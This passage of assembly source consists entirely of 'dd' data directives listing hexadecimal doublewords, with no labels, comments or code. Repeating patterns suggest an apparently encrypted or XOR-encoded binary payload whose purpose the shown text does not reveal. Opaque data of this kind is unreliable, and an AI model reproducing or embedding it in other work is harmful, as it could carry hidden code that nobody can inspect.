2AE4DA21h, 21D93695h, 952AE4DAh, 0CD21D936h, 36952A21h dd 0E4DA21D9h, 0D936952Ah, 2AE4DA21h, 21D93695h, 952AE4DAh dd 0E521D936h, 2AD71AC4h, 0ED843C55h, 492693B0h, 2AF4E585h dd 2159A4D7h, 0E7846D25h, 64BFA66Bh, 0F565F0EDh, 0E4DAECD7h dd 0D9802BBAh, 0CBE4DA21h, 21DB8464h, 952AE4DAh, 0DA21D936h dd 36952AE4h, 0E4DA21D9h, 0D936952Ah, 2AE4DA21h, 21D93695h dd 952AE4DAh, 0DA21D936h, 36952AE4h, 0E4DA21D9h, 0D936952Ah dd 2AE4DA21h, 21D93695h, 952AE4DAh, 0E521D936h, 0F5A5E5E4h dd 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h dd 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h dd 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h, 0E923C3C4h, 0C465EA45h dd 64C4F7A2h, 40C465ABh, 0C1E504F7h, 63A16DA8h, 6BE1E7DEh dd 0F565A86Dh, 0E7D0C758h, 71ECA3E5h, 2851F02Dh, 876DE565h dd 93E5E7D0h, 0E02D71ECh, 622DCF5Eh, 0E0310B51h, 69E22DC5h dd 0EBB6D347h, 4F71A16Dh, 0F7E34681h, 65AF748Fh, 8FC74D6Dh dd 0AD716AC4h, 0F7DA638Ah, 0D87FD845h, 0F51E52Dh, 0A3E5EDB6h dd 0C34761A8h, 2C2DC077h, 0EDBC8E51h, 51A2A3E5h, 0E5EDBF8Eh dd 8E5126A3h, 31067BA0h, 79B45408h, 8FC7CD2Dh, 0EDA58DD4h dd 6495F7EBh, 0A4ED41AFh, 0C1656233h, 3A4EDB1h, 602E4162h dd 28F7DAFEh, 59A08B3h, 5D2CD7D8h, 0C5BB9949h, 0E1E78CE7h dd 0A5E5E4E5h, 0DDC654F5h, 107352EDh, 0C4E5E164h, 7D63D7F1h dd 0F986956Fh, 0E1E5D225h, 0D7D2E0D9h, 0BD6F7DAFh, 0A823832Dh dd 2DB58B41h, 41292383h, 832DAD8Bh, 8B41A923h, 23836D99h dd 898B41AEh, 0EF23836Dh, 6DB18B41h, 412D2383h, 836DA58Bh dd 9579A723h, 2141B1B1h, 85ABECD5h, 0A4214137h, 37A58A61h dd 0AC282141h, 41F79DABh, 0ABECC721h, 0F7DA7677h, 0C8064417h dd 5CF7FBFEh, 7EFC4454h, 545CF7FCh, 0DD7EFC84h, 8B41A02Dh dd 2383ADA9h, 9D8B41A1h, 0E62383EDh, 7E7CEA51h, 8325F7E3h dd 83EDB58Bh, 8B41A523h, 0C74C2D95h, 0D846F48Fh, 0C7E7A7F9h dd 0EDCB3664h, 14773DBEh, 70ADFDC4h, 0B4BDA0CCh, 0D870A1F3h dd 0D9045922h, 77ECFAB1h, 0E4E57695h, 87E0E4C6h, 0E4F5E4F4h dd 477746E7h, 0C7FD7FEDh, 0E70441EDh, 0F5E7AD6Dh, 2DFA477Eh dd 71EFB9E5h, 85D4E547h, 46652CD7h, 0E7E5C6CDh, 0E5045DE1h dd 6FEE136Dh, 2DA4CF45h, 6968C70Dh, 0E536F147h, 96EDF5A5h dd 0A9E52D1Bh, 10D141E1h, 0F5E49F6Dh, 0E0E4E1E5h, 41E1BAA7h dd 0C76D13D1h, 476D2953h, 0E74D2DC1h, 0C746F0CAh, 0EFC7DF6Dh dd 0E4E58449h, 99B595E5h, 0A76D8496h, 8D65E0BEh, 0C753ADB4h dd 0F1864D20h, 68C73236h, 2DFF444Dh, 0E5F5E769h, 1131F2E1h dd 865D68E7h, 0E79B2DC5h, 0DB05E0F5h, 0ACA8E7ADh, 0D4E5457Dh dd 0C4F521DDh, 0E7FED0C5h, 875D6A2Dh, 0F7DA17CBh, 652E043Eh dd 2413A8EDh, 6DADC165h, 0E688C7CFh, 0D538F0C7h, 927162ECh dd 7D8DEDABh, 0CCC510B8h, 259290C6h, 2DA5C165h, 0E7C9A28Ah dd 0E138F044h, 8445E563h, 0F76238F0h, 0B592F3C9h, 0B8F7F107h dd 0AD693624h, 0E45BA290h, 8A2DADE1h, 86E784A2h, 0F7A078D8h dd 0A592F34Fh, 3EF7D3C6h, 0ED596E04h, 0F749A290h, 0DD38F005h dd 9271276Dh, 7D97EDB3h, 79FF00B8h, 0E78290EDh, 38702F61h dd 0F354F72Dh, 0C36B592h, 4530B872h, 0B29040D4h, 0FC06977Fh dd 0EAA9E57Eh, 0D4E50459h, 0C75621DAh, 22D8A29h, 0C1E7C96Ah dd 64CB6D65h, 0E3C475E4h, 0E6624AA1h, 7F732E41h, 712A11DBh dd 0E0FCE505h, 0C165E16Dh, 53C72D9Ah, 0DDC7A30Eh, 466DDDFEh dd 437A36E7h, 7DE2E7C5h, 0EB3515AFh, 0A46B1321h, 0A5E5E4A5h dd 0E5E1E5F5h, 0F5A5E5E4h, 0AD2168C9h, 0E5F52463h, 0E5E4E5E1h dd 0E1E5F5A5h, 0F7E3D4E5h, 0BDAB6D26h, 562283ADh, 62C5E1E7h dd 0A55FA5E5h, 0E5ED5EBDh, 0CF516083h, 0BCA06D32h, 96C1E748h dd 0E4B3E52Dh, 0ED958F45h, 452143C3h, 0C3AD888Fh, 58DD963h dd 0F7B3FCE5h, 0C00478F5h, 0F53108D7h, 0FCE48668h, 87CDF759h dd 0A3ED8A8Fh, 814121B3h, 0C4F7AD89h, 4561FDB7h, 4BE7656Dh dd 2D2D61BFh, 0E176D7A4h, 0E72D9FE1h, 0B6D976D7h, 0D7E66DB9h dd 0A668D976h, 76D7262Dh, 2D91EEC9h, 0E576D761h, 0C36DF3C7h dd 2149A4C7h, 0C7CAEDC5h, 0DE85412Eh, 2ED7E4D4h, 0EDFEC641h dd 49A6E746h, 9E6D4421h, 0C65D29E7h, 0D755EDFEh, 0E5C45DE8h dd 0EAE7EDADh, 6DD0875Dh, 4567D7F9h, 946DC847h, 44412CF7h dd 0F7D1ADE5h, 0C0065120h, 64C79CEDh, 0ADEAC75Dh, 696BD7A3h dd 0B9ADE5C7h, 8679ACC7h, 0C7356DF0h, 0E8C57125h, 2FD7AF6Dh dd 0ADE5875Dh, 652ED79Bh, 9EADE147h, 856DEDF7h, 0F1856DEAh dd 0DAC4656Eh, 0A8F7EA6Dh, 2DEA477Dh, 5961F71Ah, 0CCADDD85h dd 4459E1A1h, 0E7DD2DE3h, 0E546412Dh, 0A1D7976Dh, 6DF6074Dh dd 55E1F7CFh, 3F6DE007h, 4579A0F7h, 0D786EDDCh, 0C50465AAh dd 0E1C7FA2Dh, 2DF80755h, 4128C746h, 1B6DF806h, 45D6BD7h dd 0D7B16DCFh, 0C34761E1h dd 0EBD7782Dh, 2DD7C655h, 7527D7AFh, 6C6DE4C7h, 4545A1E7h dd 0C720EDF5h, 0CB06456Fh, 0EBD7E16Dh, 2DE1C671h, 49A1E75Bh dd 0D06DC246h, 679EAD7h, 0C79D2DCEh, 0F0044D61h, 0A1F7166Dh dd 2DE94471h, 5DECF714h, 4E6DC3C5h, 8541EFE7h, 0C70D2DC6h dd 0C0C551A1h, 25E720ADh, 6DE40471h, 0C0A2F744h, 0B6ADEDC6h dd 0C46D60E7h, 0D70C2DC1h, 0DE0541ECh, 6EE7A8EDh, 2DC8076Dh dd 7921F731h, 0B22DC047h, 0C67126F7h, 0D72BADF8h, 0F7875D6Dh dd 2AD7736Dh, 6DC38451h, 65EFF7D9h, 0F02DE545h, 0C755AFF7h dd 0F7BDEDD2h, 0EE0651E8h, 6DD7736Dh, 0EDC08645h, 416DF7B2h dd 3C2DFE06h, 87716FC7h, 0D7192DDDh, 0C70759A7h, 20F7D76Dh dd 6DE58651h, 4121E77Eh, 6DFEC6h, 0C74DE7E7h, 0E771EDE7h dd 0C0C675E3h, 0B7C7B8EDh, 35E9C6D3h, 6929E7D6h, 1B7FB6AFh dd 46126D7h, 0D767EDD8h, 0D54769A8h, 6A6D82ADh, 0ADFF0559h dd 5966D7FCh, 86ADEA86h, 445DACD7h, 0F705EDF7h, 0E60559AAh dd 27E7112Dh, 0EDFC4471h, 7960E75Dh, 916DD285h, 559EAF7h dd 0D7262DF5h, 0E2C775E7h, 0A1D723ADh, 2DE04755h, 592BC70Ch dd 486D8325h, 445563F7h, 0F7A46DCAh, 0E305792Eh, 26D71F6Dh dd 0EDD80569h, 4DE1C7CAh, 902DC004h, 759ACE7h, 0D71C2DF3h dd 0D8C66D26h, 29C79A2Dh, 6DE14461h, 55A2D7A1h, 0DC6DCEC6h dd 455926D7h, 0F733ADE9h, 0E1C451EBh, 0ACE74A2Dh, 2DEC46FCh dd 75ECC72Ah, 2BADF6C6h, 0C475A2F7h, 0C7E02DE8h, 0CA874D2Eh dd 28C72A6Dh, 6DDF4479h, 7166F7C0h, 626DC8C4h, 0C659EEF7h dd 0E72A6DF1h, 0E34569A7h, 2EE75D2Dh, 0EDDE074Dh, 49E3F7A9h dd 2AADDFC7h, 8471E3F7h, 0C795ADFCh, 0F6076122h, 0E4C7FAADh dd 0ADFA0749h, 5DA8D72Ah, 86EDCA46h, 75DA5C7h, 0F7846DF7h dd 0E10649A4h, 261121ADh, 2DCC4771h, 79AFF7ABh, 3A2DCF45h dd 454D6FE7h, 0E7BAEDDAh, 0C147612Fh, 0A3E7CA2Dh, 0ADE30455h dd 7128F7D1h, 3DEDDB84h, 0C57D62D7h, 0E72D2DE9h, 0E60479A0h dd 0ECF71A6Dh, 0EDD8C761h, 4D6AC781h, 7BEDFC05h, 4571E3D7h dd 0E7A9ADE6h, 0D94755E9h, 6DF7ADEDh, 0EDDD8661h, 79A1D745h dd 0E56DDD87h, 86792AF7h, 0E7D2EDDEh, 0ED84456Dh, 0EEF723EDh dd 2DC64645h, 69AFC744h, 54EDDEC5h, 0C471ADE7h, 0C724ADE7h dd 0D08741AEh, 68D728ADh, 0EDDF455Dh, 55E2F729h, 2D2DF785h dd 56D68D7h, 0E7B72DCBh, 0DC844DECh, 0ADD74CEDh, 2DE5075Dh dd 7168C730h, 4C6DE747h, 771EFC7h, 0E75DEDD7h, 0F4076D63h dd 0E0C70CEDh, 0ADE18759h, 65AED7B3h, 0ACEDC985h, 467561F7h dd 0E768EDC8h, 0F6C459A6h, 29C74EADh, 0EDC04449h, 7560F706h dd 0D56DC1C5h, 0C66D28C7h, 0E71BADD8h, 0FBC67D6Bh, 0ABD742EDh dd 0ADFFC745h, 55ECF730h, 0F16DDA05h, 456DEDD7h, 0D776EDFDh dd 0C7447161h, 0EDD79AADh, 6DCAC759h, 51ACE764h, 49EDF404h dd 87592801h, 0E7512DEBh, 0F8C57569h, 68E74C2Dh, 0EDD5C54Dh dd 9E8CC780h, 0B5EDDA45h, 4471A0C7h, 0F73DADDDh, 0D10465A3h dd 23D7BFADh, 0ADE5445Dh, 0F51BA12Bh, 3EAD492Ah, 4441A3D7h dd 0F732ADC6h, 0D7046DA3h, 0E2C73EADh, 0B5D6C465h, 3CE5F7FCh dd 0A626885Ah, 445DA3FCh, 0E7F8ADC2h, 0F8B57163h, 0E4E75AD1h dd 62852149h, 79ADF749h, 0C12DC944h, 8571A2E7h, 0F7776DEEh dd 0C3C77D6Ch, 0E0D71AEDh, 0EDCF866Dh, 7DE4C73Fh, 876DEE04h dd 857969F7h, 0F7D8ADD7h, 0F5047D25h, 0A411DB6Dh, 2DD3844Dh dd 4963D740h, 0F42DEE04h, 4555E4D7h, 0F7D66DC0h, 0DB0459ECh dd 25F7982Dh, 0ADF70541h, 79A6F739h, 0C4EDEE85h, 659A9D7h dd 0D7E06DDEh, 0F1865DE9h, 0A3F71AADh, 0ADF78465h, 71A2D788h dd 0C06DC185h, 4569EFE7h, 0E718EDE0h, 0CA447923h, 63C7A3ADh dd 0ADF10449h, 45ECF7D7h, 0C66DDE05h, 4555AAF7h, 0E7A6EDC2h dd 0EA0671ABh, 0A9C70AADh, 0ADCAC77Dh, 7925C7EEh, 3D2DC084h dd 874927C7h, 0F72C6DEBh, 0F9476128h, 64D76B6Dh, 0EDFE0779h dd 49A0C7BBh, 2E2DC645h, 475A6F7h, 0F7D22DD9h, 0E9477D2Dh dd 0EEC7886Dh, 6DEB4675h, 4D2CF739h, 0CEEDF684h, 477D2ED7h dd 0E736ADD2h, 0FFC541AFh, 0E7F717EDh, 6DD6445Dh, 41E6D74Eh dd 196DCD85h, 0C74DAFF7h, 0D79F2DC7h, 0C1477528h, 0E8C7FE2Dh dd 0EDD0C545h, 5D64D718h, 316DF887h, 454523D7h, 0D7B5EDE8h dd 0C3057DE6h, 23E711EDh, 2DC0C451h, 0E021F793h, 0C1EDF745h dd 66DEFD7h, 50242DFAh, 0F90649AAh, 0E1F7912Dh, 0ADD38545h dd 71AFE7ABh, 52ADD685h, 0C449EDC7h, 0C7E82DCDh, 0F846516Eh dd 0E2C70BADh, 0EDC70565h, 4968D73Fh, 7A6DCBC6h, 56166F7h dd 0F7BCEDF4h, 0CD867124h, 0ADF7E8EDh, 6DC28769h, 79A1F7D6h dd 222DC405h, 86656CC7h, 0F780ADCAh, 0DA0779EEh, 21F75EADh dd 0EDCB8541h, 7921E747h, 2AEDEF45h, 0C7A855E7h, 0D7F92DF1h dd 0D24645E4h, 28C7A82Dh, 6DF8C559h, 0E8D2C7EEh, 276DC547h dd 87716DD7h, 0F75FADC9h, 0EE467DA6h, 64D7072Dh, 6DFCC459h dd 4D63F70Dh, 0C96DF507h, 456128F7h, 0F714ADE3h, 0CBC651A1h dd 0A0F7A72Dh, 6DE5047Dh, 752AE76Ah, 992DC707h, 8775ADE7h dd 0D72F6DCAh, 0DE047560h, 0E9F775EDh, 0ADCA846Dh, 69EAD753h dd 106DD284h, 0C549A1D7h, 0E70E6DE4h, 0FA476167h, 6AC75C2Dh dd 2DDB4445h, 5D24F7D7h, 3A2DC647h, 8751ABE7h, 0F728EDE9h dd 0DE47716Ah, 0EAE75AADh, 0ADE24471h, 69E4C7A8h, 3BADBFAAh dd 76DEDC7h, 0C71EADFAh, 0CD466127h, 27C7DAADh, 2DC48459h dd 0D8E4C7C3h, 5E2DC6C5h, 8571A3C7h, 0D7136DF5h, 0DD465D29h dd 2ED700ADh, 0ADC90575h, 7923C7EBh, 156DD387h, 8571EDE7h dd 0F7E6EDF5h, 0D0C655AEh, 25E7522Dh, 6DF58759h, 5961C786h dd 40ADE044h, 0C77D6EF7h, 0F7546DCDh, 0CFC449EFh, 2FF7722Dh dd 2DEE856Dh, 6DE2D710h, 0E72DC744h, 44752DF7h, 0F7052DF0h dd 9BA96964h, 24C765EDh, 0EDD48661h, 59A4C7C4h, 3FEDF7C6h dd 0C4456BE7h, 0E71E6DEDh, 0DF4549A5h, 67F75EEDh, 0ADC84675h dd 696CE71Ch, 0C2EDF247h, 0C441EAC7h, 0C731ADDCh, 0F8C77D6Ah dd 64E7216Dh, 0ADE2065Dh, 45A9C76Ch, 6FADCC86h, 0C651A0C7h dd 0F7536DF1h, 0EC477DE3h, 0E8D7DAADh, 2DF3876Dh, 7526F75Dh dd 216DD604h, 45DE1F7h, 0C7AA2DF5h, 0D9C641E1h, 21F7156Dh dd 6DF4C469h, 7522E71Bh, 0C6DED05h, 0C74D28F7h, 0C7C02DC4h dd 0F985596Fh, 0E9E7B7ADh, 0ADDD8749h, 5D26F772h, 2C6DE945h dd 8455A9E7h, 0C7312DD2h, 0E444FCA0h, 0ED7DE6Dh, 2DC3C780h dd 412BF7DFh, 0FFED537Eh, 856D65F7h, 0C73D2DF3h, 0ACC1A031h dd 65E7746Dh, 6DC74645h, 75A24CF2h, 3FADCDC5h, 4549E8E7h dd 0C7DF2DEFh, 695C45EBh, 26D7DFEDh, 2D1F1C65h, 55E5C700h dd 962DCDC4h, 560F5F7h, 0E7FF2DFEh, 0B69E41E4h, 0E8E71AADh dd 2DE6C741h, 7D6DD770h, 87EDF504h, 741A9D7h, 0E71943FDh dd 0C1845DAFh, 0E0E7F1B6h, 7394B945h, 55A0C71Ah, 0FE6DEEC5h dd 0C6B4C050h, 0C732B3F3h, 0DA844920h, 0E3E7DD2Dh, 0EDC64645h dd 756D93A5h, 0E6EDC1C4h, 84452DF7h, 0D705ADD9h, 0E00555E1h dd 0E1D785EDh, 0F4F24545h, 4DE35259h, 0F72D95BEh, 0C5756DD0h dd 0E705EDC1h, 0F58575A9h, 0E911FCADh, 2DF70561h, 6D2AD7FCh dd 87ADC105h, 0BF71E7C7h, 0C7C16D9Dh, 943E49E1h, 0EEF797EDh dd 6DECC56Dh, 59EAD712h, 25ADD147h, 4649E1D7h, 0C7872DD6h dd 0C1856522h, 0E5C706ADh dd 0ADC48445h, 59E3E715h, 9A74CD07h, 0C74922D7h, 724BEDFAh dd 0EEC5796Dh, 6AE73A6Dh, 2DE2C761h, 6474F7FBh, 0A3ED9C2Ch dd 0C575A2E7h, 0D7A76DEEh, 0EC06456Bh, 66F75B6Dh, 0EDE1844Dh dd 49A5F7F8h, 0E4ADF7C7h, 67D6BD7h, 0F7A16DECh, 0E1C44D6Dh dd 0E1D754EDh, 0EDE40651h, 55EF3021h, 0F5C2FDC5h, 0C74924E7h dd 0C787B6D3h, 0E9C74924h, 14D7F533h, 0EDE1C4BCh, 556D10E0h dd 0EFEDC144h, 0C4716DD7h, 0E707EDD9h, 0C2C571A0h, 0A0D75FF2h dd 0B7CF8584h, 49E5F7EDh, 0EB2DC646h, 0C74961F7h, 0F707EDD1h dd 0D4465DE5h, 93E71AEDh, 6DC906D4h, 75EBE7EBh, 95EDE204h dd 0C55129D7h, 0D714EDE4h, 0DE06756Bh, 0A7E7FAEDh, 0ADD04575h dd 0F443C79Dh, 7CB2D345h, 0C5556DD7h, 617FADEEh, 83387D24h dd 6B20BA33h, 33EBC741h, 6DE3F7E2h, 0E5EDEDC6h, 65D6BD7h dd 0E784DCC3h, 0E7C49020h, 0B7C779ADh, 0ADF685C7h, 0FDB7C7D7h dd 92D1A61h, 0C565E308h, 0D7F1EDE7h, 0EB4565E1h, 0A0E7B4ADh dd 0ADEA8479h, 6561D771h, 3671EA45h, 846DA1D7h, 0E7B6ADE4h dd 0CB0561E7h, 18C7E9EDh, 0ADE4C494h, 6121F776h, 19ADEBC4h dd 4441A01Eh, 0D7FCADCBh, 0D6047923h, 0A3C7EDADh, 0ED85B541h dd 0C835E730h, 0E3ADC244h, 465A2F0h, 0C729F4ECh, 93A94927h dd 0DAD7B63Ah, 0ADFD05ACh, 6DE6E7E9h, 6922D305h, 0E1E074D7h dd 0E7F0ADABh, 85E455E7h, 74D7E9EDh, 0A4AD61C4h, 55AFA1F5h dd 95AD563Bh, 0FA79A51Eh, 220922EAh, 0EEC59408h, 0BCE7CCB1h dd 0EDEF85E0h, 77F1A5C4h, 0C5B4E586h, 0C56563F7h, 0D1F6F4D3h dd 0A53F75E0h, 0AC93F5F5h, 0EDEDC76Dh, 0E5F1E7DDh, 30EDE5E0h dd 0E371E5E7h, 0E7E5AD8Bh, 0CAC565A3h, 0A2D7E5ADh, 0B4F5C565h dd 0E477A13Bh, 0E5F4A5E1h, 21EBBE81h, 0F7E5ED9Ch, 0C86371A6h dd 3EB58864h, 0ED8BE247h, 0E5F1A38Bh, 0F62D3FC0h, 0E0E5B0A5h dd 0D7E78CC1h, 0BF40D472h, 0BFB5F92Dh, 6DFA2053h, 69E5A544h dd 6BCE5C5h, 0C4FC3D91h, 0E7349CE5h, 767566F1h, 0C3C764A7h dd 0B44F8CFCh, 0F301917Fh, 0C76DEF85h, 0C445EBE7h, 0E736EDE5h dd 0F8C475E5h, 62C0823Bh, 2DC1066Dh, 4524E7B7h, 0E96DCA45h dd 475A7F7h, 0D73CEDF5h, 0D56345E0h, 0F9A5CB64h, 64C9E2C5h dd 0C5FBA5C8h, 0F28CE562h, 4F331E7h, 0B5F5A4F4h, 0E5C5C5F3h dd 33F7E4F4h, 0F7FD84D4h, 0DCF69346h, 0D4379A0Eh, 62C477ADh dd 0E768F496h, 0F40545E5h, 0F981DFCEh, 379AE1E7h, 51E5E7B7h dd 0E5ADA6E3h, 0C065A7E7h, 0C72AED9Ah, 65FFF4D6h, 31A18EA4h dd 0A4717CDBh, 0D444A5F5h, 0E773FC86h, 85C480D7h, 0C752B4C8h dd 0EBC56528h, 0A4C7E5EDh, 6D3AC065h, 0E5F1E1A5h, 0B0D75AC0h dd 0C5EB9249h, 2D64EDF4h, 0B8036923h, 0E220D5F4h, 0ADC6C565h dd 0D6F1A5F5h, 0AC84E987h, 0E0E5F0F7h, 0F7E7A6FCh, 929ED43Dh dd 4CB3F5B7h, 0B4E5E024h, 4098C7F0h, 6CB6936Ah, 844080F7h dd 711AB4CCh, 6069C43Dh, 0F1635AADh, 0EDE5C5F3h, 75E5D727h dd 60EB38Ah, 85656EADh, 9DF5F1FDh, 4FECE33Dh, 64F7EFADh dd 0EDE90541h, 61E8E789h, 0CF6DFE85h, 0C665E5E7h, 0C793ADEAh dd 0FD067127h, 6DE7B20Eh, 2DCEC74Dh, 6169F7E2h, 0DF6DFA85h dd 45C8D5F7h, 0E7F7EDF5h, 0E5287DE3h, 0AAE7E694h, 0A4F12B75h dd 0E610A5F5h, 0CD06F644h, 0AA4125E7h, 119FA4E5h, 0D46A9022h dd 9AD7E66Dh, 0F9E22AD9h, 9B25616Ah, 0C7446A34h, 0C5A7EDE7h dd 0E7E5EDECh, 652D592Bh, 0ACF4D7BCh, 0B7F28575h, 65226D2Ah dd 0EDB7F204h, 0B59D24C8h, 0C462E1FBh, 0FBB59D24h, 0ABC452E1h dd 21C7B19Dh, 0BD28C462h, 0FB94E576h, 8569ADF7h, 0D70FEDE5h dd 0CC477D60h, 73A5F52Dh, 84E90644h, 0E5F0F72Eh, 608EFCE0h dd 0C59C624Dh, 6F308EC0h, 0A4B3988Bh, 64EC63F6h, 7302ACB8h dd 20EEE75Eh, 63C1E9C5h, 0C5D73DDCh, 0F0548CDEh, 0E5C5512Fh dd 0F1A4D694h, 2DFDC5DAh, 0E5B025C8h, 0E3F7FDE0h, 0C5C43DD7h dd 23D076C7h, 0FCC559ADh, 5BB5F526h, 2688FDF8h, 8445E780h dd 0C9E1E52Ah, 0F555E5C2h, 0AD06C362h, 60FD4523h, 0F1A5F539h dd 6DCD87CFh, 9D24C45Dh, 62E1FBB5h, 0B59D24C4h, 4473E1FBh dd 0C7BCBDABh, 40C46221h, 0A4E576BDh, 5DA681F5h, 12ADE706h dd 0BE99085Ch, 541223FAh, 0FABE9908h, 69E7E523h, 0F6C9C575h dd 0A5CB2CEDh, 0DD23C57Eh, 6596364h, 445D82E3h, 0C77EADCBh dd 0CB445D23h, 23C77EADh, 0ADCB445Dh, 5D23C77Eh, 7EADCB44h dd 445D23C7h, 0BE7EADCBh, 0CB0C52B1h, 23C77EADh, 0ADCB445Dh dd 65E4E7E1h, 0E1EDF585h, 8565E4E7h, 0E7E1EDF5h, 0E4A165E4h dd 2DA1C161h, 71E922ADh, 25AD8940h, 7D4B3C7h, 0F7FFBCC0h dd 0C0074433h, 0F5F7E9BCh, 0BCC00774h, 54B3F7C9h, 0CFBCC047h dd 4774B3F7h, 0F7CDBCC0h, 0C08754B3h, 0B3F7C3BCh, 0BCC08774h dd 54B3F7C1h, 0C7BCC0C7h, 0E1A197F7h, 0B5A5E4E4h, 0E4E1E1F5h dd 51BDBDE4h, 0FECE4504h, 54B3F7C4h, 652DD906h, 4071EDA1h dd 0A3BCAD99h, 0A5407162h, 0F5C79AEDh, 0BCC004F4h, 0E373F7F9h dd 0FCBC4020h, 4464B3F7h, 0F7F2BCC0h, 0C08444B3h, 3BF7EEBCh dd 0B4836F64h, 64B3F7F0h, 0F6BCC084h, 0C444B3F7h, 0F7F4BCC0h dd 0C0C464B3h, 0B3F7EABCh, 0FFE0C574h, 74B3F7EBh, 0AC84DC05h dd 4544B37Dh, 0F7ECBCC0h, 0C04564B3h, 0B3F7E2BCh, 0BCC08544h dd 64B3F7E0h, 0E7BCC085h, 0C55485F7h, 7DB787DCh, 4822E3C5h dd 33F7DBBCh, 0BCC80674h, 4433F7D9h, 0DFB483F6h, 467433F7h dd 0F7DDBCC8h, 0C8865433h, 33F7D3BCh, 0E4E5E164h, 0E5F5A5E5h dd 0FD84C5E1h, 60C773ADh, 0ADF98455h, 6520C772h, 7DADC544h dd 4475E3C7h, 0C77CADC1h, 0CD4445A3h, 63C77FADh, 0ADCC4441h dd 9D4051A8h, 16F7D1C6h, 2DA940D3h, 0F34C3DB4h, 0EB86B5CDh dd 0A8443BF7h, 0A5E5E465h, 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h dd 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h dd 0F5A5E5E4h, 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h dd 0A5E5E4E5h, 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h, 0E5F5A5E5h dd 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h, 0F5A5E5E4h dd 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h dd 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h, 5169A5E5h, 0A5ADB940h dd 0C6F4B3C7h, 0F7E8DEDCh, 6D79643Bh, 11F7D586h, 0BCC80756h dd 516E2DF3h, 0BAEDA540h, 0E1E18EBDh, 0B5A5E4E4h, 0E4E1E1F5h dd 0F5B5A5E4h, 0E4E4E1E1h, 0E1F5B5A5h, 0A5E4E4E1h, 0E1E1F5B5h dd 0B5A5E4E4h, 0E4E1E1F5h, 0F5B5A5E4h, 0FCE4E1E1h, 5433F7C9h dd 0D4BCC847h, 0E86485F7h, 0A3BE6D4Dh, 854051AFh, 2CA3BE6Dh dd 0AD736F61h, 71E05253h, 0FE6DAE84h, 8545A7E7h, 0E7B46DEEh dd 0F1C74926h, 62E7A4ADh, 2DCFC561h, 7561C707h, 0EDADBF7Eh dd 4649E5F7h, 0F7692DC6h, 0D1C74961h, 0E5F707EDh, 0EDD4465Dh dd 612AE71Ah, 0CE2DE505h, 466566E7h, 0F724ADD1h, 0E8C659E9h dd 0A9D7A5EDh, 2DD74649h, 7522E72Bh, 0B8EDF145h, 3E61EBF7h dd 40D8ED81h, 0E9C749A3h, 0CAF737EDh, 33D18594h, 49A5E707h dd 1F2D8D3Eh, 0F961E5C7h, 0F772ADBAh, 0E7844920h, 0E5E7E72Dh dd 0ADCF845Dh, 7560F7E9h, 0A36DEE44h, 84496DD7h, 206BEDE9h dd 0FEC74924h, 65206BEDh, 0ADCD8469h, 5D21C746h, 1A2DC9C5h dd 0C741A8C7h, 0E7312DE2h, 0FF45596Bh, 63C7333Bh, 0ADAA6F69h dd 652D7253h, 0F1EDC4C4h, 878491F7h, 0C7472DDBh, 9AF84925h dd 91F7D12Dh, 2DEB4698h dd 49E3E7DDh, 0BFB2B3F8h, 46DA230h, 0C73EB5C9h, 8B6D5923h dd 60E7B4EDh, 0B2F1C471h, 492DF731h, 0B1EDC7C4h, 86792AD7h dd 0C7FFADF5h, 0CA854DA6h, 51D7F9EDh, 0B2F3C62Ch, 809D0070h dd 0DFADF445h, 0B84D65F7h, 0F7E6AD6Dh, 0B71869E0h, 60E7152Dh dd 2DE68465h, 6DE2F7E5h, 0EFF7E6C5h, 0C5716B10h, 0D79B2DCDh dd 0DA06592Ah, 0E6F7332Dh, 0ADC3C641h, 0FCC5D78Bh, 996DE444h dd 0C7E4C5D7h, 0F721ADD6h, 0DC46EC3Bh, 0D862532Dh, 22B522BBh dd 0A5D824D1h, 0D122F5BAh, 0C1E5F524h, 0B3E5ED26h, 0A2C165A5h dd 6593E5EDh, 6DA4C165h, 65A1A1E5h, 37ADE645h, 0E475A1C7h dd 0D7B4ADABh, 0A34159E1h, 0B6E774ADh, 0C4D2C4F8h, 61E1F735h dd 0B584A4E0h, 0E0E0839Dh, 0B5B5A4E4h, 0E9C4E2F1h, 0A8A5E5B4h dd 2D1A9A7Dh, 6D21F731h, 0E5ADD6C4h, 0C57964ADh, 0A5E52DEDh dd 0EE05FAF5h, 25A3E532h, 0ED612659h, 6565C7A1h, 7944E5E1h dd 846BBDF7h, 950164EEh, 0C7C5677Ch, 0E5C7E5ADh, 0ADE68465h dd 0F4F6C7EDh, 36ADF284h, 0C449E0C7h, 0C7F1EDC5h, 0E2C459E0h dd 0E1F771ADh, 0EDC5C451h, 5527C7A9h, 0F6EDA76Dh, 0C45DE1F7h dd 919EADE8h, 0CC847BBBh, 0A3E77EADh, 0ADD24459h, 7DE7E739h dd 79ADCA44h, 8479E7E7h, 0D73FF7E5h, 0CA046DA3h, 0E2E7B8ADh dd 0ED962251h, 61E6F76Eh, 0B63CCF44h, 5ECBBD7h, 0E7E9ADFDh dd 0CF056DE6h, 5D76924h, 0ADABA2ECh, 55E7E7F0h, 0E9ED85E4h dd 0ADD405D7h, 0E7EDFCA5h, 0E504D8D0h, 25D7DBC4h, 0CFDAC561h dd 6DECADE5h, 0F6B7E9C4h, 5E7F56Dh, 6F316DF0h, 0DA455DE5h dd 0A0C7B5EDh, 0AD91E061h, 45A1F7FEh, 0BCADC604h, 475E2E7h dd 203BADCCh, 0E984F4E1h, 0E1E7F5ADh, 2D7AC165h, 4165E7C9h dd 0E5E4E587h, 0E1E5F5A5h, 0A5E5E4E5h, 0E5E1E5F5h, 0F5A5E5E4h dd 0E4E5E1E5h, 0E5F5A5E5h, 0E5E4E5E1h, 0E1E5F5A5h, 0A5E5E4E5h dd 0E5E1E5F5h, 0F5A5E5E4h, 0E4E5E1E5h, 